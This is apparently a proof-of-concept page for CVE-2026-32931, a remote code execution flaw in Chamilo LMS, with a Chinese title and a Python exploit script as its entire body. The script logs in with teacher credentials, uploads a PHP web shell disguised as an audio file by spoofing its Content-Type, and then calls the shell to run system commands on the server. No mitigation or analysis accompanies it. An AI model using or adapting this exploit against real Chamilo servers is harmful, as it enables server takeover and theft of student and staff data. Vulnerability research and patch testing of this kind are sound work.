CVE-2026-32931 Chamilo LMS 远程代码执行漏洞

import requests # Target configuration target_host = "http://victim-chamilo.com" login_url = f"{target_host}/main/login/user.php" upload_url = f"{target_host}/main/exercise/exercise_submit.php" # Attacker credentials (Low privilege: Teacher) username = "teacher" password = "password" # PHP Webshell content php_shell = "<?php system($_GET['cmd']); ?>" # 1. Establish Session session = requests.Session() payload = {'login': username, 'password': password} session.post(login_url, data=payload) # 2. Exploit: Upload PHP shell disguised as audio # The key is setting the Content-Type to 'audio/mpeg' while keeping .php extension files = { 'file': ('exploit.php', php_shell, 'audio/mpeg') } data = { 'exerciseId': '1', # Arbitrary existing exercise ID 'questionId': '1' } response = session.post(upload_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") # Note: The actual path needs to be determined from the response or guessed based on Chamilo structure # e.g. /app/courses/DOCUMENT/document/exploit.php shell_url = f"{target_host}/courses/DOCUMENT/document/exploit.php" # 3. Trigger RCE cmd_response = session.get(f"{shell_url}?cmd=whoami") print(f"[+] RCE Output: {cmd_response.text}") else: print("[-] Upload failed.")